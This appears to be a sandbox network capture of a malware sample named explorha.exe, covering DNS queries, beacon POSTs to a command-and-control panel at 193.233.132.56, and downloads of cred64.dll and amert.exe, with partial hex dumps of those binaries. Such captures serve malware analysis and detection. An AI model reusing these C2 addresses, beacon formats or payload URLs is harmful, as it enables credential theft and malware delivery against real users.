Apr 19, 2024 03:29:31.740859985 CEST	192.168.2.5	1.1.1.1	0x32a1	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.741161108 CEST	192.168.2.5	1.1.1.1	0x6a5	Standard query (0)	play.google.com	65	IN (0x0001)	false
Apr 19, 2024 03:29:48.170654058 CEST	192.168.2.5	1.1.1.1	0x216	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.652167082 CEST	192.168.2.5	1.1.1.1	0x206e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.652417898 CEST	192.168.2.5	1.1.1.1	0x97bc	Standard query (0)	play.google.com	65	IN (0x0001)	false
Apr 19, 2024 03:30:06.646387100 CEST	192.168.2.5	1.1.1.1	0xf8f4	Standard query (0)	b-stamps.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:20.953000069 CEST	192.168.2.5	1.1.1.1	0xf3ac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:20.954009056 CEST	192.168.2.5	1.1.1.1	0xaa5b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 19, 2024 03:30:33.901623964 CEST	192.168.2.5	1.1.1.1	0xfe73	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:31:25.902829885 CEST	192.168.2.5	1.1.1.1	0x4425	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:32:28.182463884 CEST	192.168.2.5	1.1.1.1	0x14f1	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 03:29:16.735898018 CEST	1.1.1.1	192.168.2.5	0x9d83	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:29:16.735898018 CEST	1.1.1.1	192.168.2.5	0x9d83	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.185.136	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		74.125.138.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		173.194.219.136	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		74.125.138.91	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		173.194.219.91	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.177.91	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.185.91	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.185.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.177.93	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		74.125.138.136	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		173.194.219.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		142.251.15.93	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		64.233.185.93	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		142.251.15.91	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		74.125.138.93	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.736232996 CEST	1.1.1.1	192.168.2.5	0x4547	No error (0)	youtube-ui.l.google.com		173.194.219.93	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.99	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.105	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.106	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.147	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.103	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.034960985 CEST	1.1.1.1	192.168.2.5	0x1bb3	No error (0)	www.google.com		142.250.9.104	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:21.035022974 CEST	1.1.1.1	192.168.2.5	0xffc6	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.101	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.113	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.102	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.139	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.138	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.405831099 CEST	1.1.1.1	192.168.2.5	0xb67e	No error (0)	www3.l.google.com		108.177.122.100	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.406708002 CEST	1.1.1.1	192.168.2.5	0xbe10	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:29:24.801657915 CEST	1.1.1.1	192.168.2.5	0xb256	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:25.381839991 CEST	1.1.1.1	192.168.2.5	0xd206	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:25.381839991 CEST	1.1.1.1	192.168.2.5	0xd206	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:25.381839991 CEST	1.1.1.1	192.168.2.5	0xd206	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.101	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.102	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.139	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.138	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.113	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:31.845652103 CEST	1.1.1.1	192.168.2.5	0x32a1	No error (0)	play.google.com		74.125.138.100	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:48.276201963 CEST	1.1.1.1	192.168.2.5	0x216	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.100	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.101	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.138	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.113	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.102	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:52.756506920 CEST	1.1.1.1	192.168.2.5	0x206e	No error (0)	play.google.com		142.250.105.139	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:06.983123064 CEST	1.1.1.1	192.168.2.5	0xf8f4	No error (0)	b-stamps.gl.at.ply.gg		147.185.221.19	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.104	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.103	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.106	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.99	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.147	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.057634115 CEST	1.1.1.1	192.168.2.5	0xf3ac	No error (0)	www.google.com		142.250.9.105	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:30:21.060080051 CEST	1.1.1.1	192.168.2.5	0xaa5b	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 19, 2024 03:30:34.011050940 CEST	1.1.1.1	192.168.2.5	0xfe73	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:31:26.008399010 CEST	1.1.1.1	192.168.2.5	0x4425	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 03:32:28.292335033 CEST	1.1.1.1	192.168.2.5	0x14f1	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:03.313673019 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:03.558506012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:03.560514927 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:03.820668936 CEST	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 30 30 35 34 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 30 61 33 65 36 32 36 62 33 66 63 66 37 62 36 35 38 37 66 61 30 65 31 37 65 37 36 23 31 30 30 30 30 35 35 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 62 35 39 65 61 39 66 35 65 37 61 66 31 38 32 31 34 65 34 30 61 64 63 32 64 63 38 65 32 61 37 65 31 32 64 66 39 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 30 30 35 36 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 62 35 39 65 61 39 66 35 65 37 61 66 31 38 32 31 34 65 34 30 61 64 63 32 64 63 38 65 32 61 39 65 37 33 30 65 38 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 30 30 35 37 30 33 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 65 61 35 66 62 33 37 62 33 65 65 66 62 61 31 35 38 36 61 61 30 65 31 37 65 37 36 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16f <c>1000054001+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0a0a3e626b3fcf7b6587fa0e17e76#1000055001+++e312d3611ef49fa1f45b59ea9f5e7af18214e40adc2dc8e2a7e12df9b2e8b2446fe1e928766ada#1000056001+++e312d3611ef49fa1f45b59ea9f5e7af18214e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada#1000057031+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e76#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:03.315207005 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1 Host: 193.233.132.56
Apr 19, 2024 03:29:03.560641050 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:03 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Sun, 03 Mar 2024 11:54:33 GMT Connection: keep-alive ETag: "65e464f9-139e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^^^_^_^_2^W_^W_^W_^_^^C^_^_^X^^_^Rich^PEdie" RhP` Xx `(0p .text `.rdata@@.dataLD@.pdata(`@@_RDATA@@.rsrc @@.reloc0@B
Apr 19, 2024 03:29:03.560741901 CEST	1289	IN	Data Raw: 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 97 6e 11 00 48 8d 0d e0 bb 12 00 e8 d3 20 0c 00 48 8d 0d 0c 85 0f 00 48 83 c4 28 e9 cf f2 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 8f 6e 11 00 48 8d 0d b0 c2 12 00 e8 a3 20 0c 00 48 Data Ascii: H(A HnH HH(H(A HnH HLH(H(AHnHs HH(oH(A H_nHC HH(?H(AHWnH HH(
Apr 19, 2024 03:29:03.560781956 CEST	1289	IN	Data Raw: 83 c4 28 e9 ef ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 4f 6c 11 00 48 8d 0d b0 b5 12 00 e8 c3 1b 0c 00 48 8d 0d cc 8b 0f 00 48 83 c4 28 e9 bf ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 2f 6c 11 00 48 8d 0d c0 bd 12 Data Ascii: (H(AHOlHHH(H(AH/lHHH(H(A(HlHcHLH(_H(AHlH3HH(/H(AHkHHH(
Apr 19, 2024 03:29:03.560818911 CEST	1289	IN	Data Raw: 8d 0d 4c 92 0f 00 48 83 c4 28 e9 df e8 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 57 69 11 00 48 8d 0d a0 b7 12 00 e8 b3 16 0c 00 48 8d 0d 8c 92 0f 00 48 83 c4 28 e9 af e8 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 37 69 11 Data Ascii: LH(H(AHWiHHH(H(AH7iHHH(H(AHiHSHH(OH(AHhH#HLH(H(AHhH`H
Apr 19, 2024 03:29:03.560858011 CEST	1289	IN	Data Raw: 00 e8 d3 11 0c 00 48 8d 0d 0c 99 0f 00 48 83 c4 28 e9 cf e3 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 cf 67 11 00 48 8d 0d b0 b8 12 00 e8 a3 11 0c 00 48 8d 0d 4c 99 0f 00 48 83 c4 28 e9 9f e3 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 Data Ascii: HH(H(A4HgHHLH(H(A(HgHsHH(oH(AHgHCHH(?H(A4HgHHH(H(A(HgH
Apr 19, 2024 03:29:03.560897112 CEST	1289	IN	Data Raw: c7 80 80 00 00 00 0f 00 00 00 88 50 68 48 89 90 98 00 00 00 48 c7 80 a0 00 00 00 0f 00 00 00 88 90 88 00 00 00 48 89 90 b8 00 00 00 48 c7 80 c0 00 00 00 0f 00 00 00 88 90 a8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 88 90 c8 Data Ascii: PhHHHHHHHHHH H8H@(HXH`HHxHhHHHH
Apr 19, 2024 03:29:03.560937881 CEST	1289	IN	Data Raw: 00 00 0f 00 00 00 88 90 c8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 88 90 e8 00 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 88 90 08 01 00 00 48 89 90 38 01 00 00 48 c7 80 40 01 00 00 0f 00 00 00 88 90 28 01 Data Ascii: HHHH H8H@(HXH`HHxHhHHHHHHHHHH
Apr 19, 2024 03:29:03.560977936 CEST	1289	IN	Data Raw: 00 0f 00 00 00 88 90 28 01 00 00 48 89 90 58 01 00 00 48 c7 80 60 01 00 00 0f 00 00 00 88 90 48 01 00 00 48 89 90 78 01 00 00 48 c7 80 80 01 00 00 0f 00 00 00 88 90 68 01 00 00 48 89 90 98 01 00 00 48 c7 80 a0 01 00 00 0f 00 00 00 88 90 88 01 00 Data Ascii: (HXH`HHxHhHHHHHHHHHH H8H@(HXH`HHxH
Apr 19, 2024 03:29:03.561017036 CEST	1289	IN	Data Raw: 00 48 8d 0d c5 9a 0f 00 e9 b4 cf 0c 00 48 8d 0d 15 9b 0f 00 e9 a8 cf 0c 00 48 8d 0d 49 9b 0f 00 e9 9c cf 0c 00 48 83 ec 28 48 8d 0d 75 b8 12 00 e8 ac dc 0c 00 48 8d 0d 75 9b 0f 00 48 83 c4 28 e9 7c cf 0c 00 b8 01 00 00 00 c3 cc cc cc cc cc cc cc Data Ascii: HHHIH(HuHuH(\|H\$Hl$Ht$ WAVHLTAL5GL@AAt'AB0TB82TuIIEAExAB0TAB0T+uHE3LHuED8t
Apr 19, 2024 03:29:03.561055899 CEST	1289	IN	Data Raw: 8b 57 10 48 8b cb e8 41 b8 06 00 48 8b 3f 48 85 ff 75 ec 48 8b 7e 10 48 85 ff 74 14 48 8b 57 10 48 8b cb e8 74 38 04 00 48 8b 3f 48 85 ff 75 ec 8b 43 28 41 ff c7 48 83 c5 20 44 3b f8 0f 8c 49 ff ff ff 48 8b 6c 24 20 4c 89 b3 20 03 00 00 41 8b fe Data Ascii: WHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0DuH{HL$0H AD$0HtgfDHHE^L9 tHH1-3H;hr"H;psH`
Apr 19, 2024 03:29:03.806427002 CEST	1289	IN	Data Raw: 95 c0 88 46 2b 33 c0 eb 05 b8 01 00 00 00 48 8b 4c 24 78 48 33 cc e8 28 bf 0c 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 20 49 8b 6b 30 49 8b e3 41 5e 5f 5e c3 48 83 ec 08 80 79 2a 00 4c 8b d9 0f 85 2e 01 00 00 80 79 28 00 48 89 1c 24 74 0c 8b 41 08 44 Data Ascii: F+3HL$xH3(L$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAADhAAOiQQDAADAlDiAAAA+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	193.233.132.167	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:04.067647934 CEST	55	OUT	GET /mine/amert.exe HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:29:04.311078072 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:04 GMT Content-Type: application/octet-stream Content-Length: 1905152 Last-Modified: Fri, 19 Apr 2024 00:37:12 GMT Connection: keep-alive ETag: "6621bcb8-1d1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 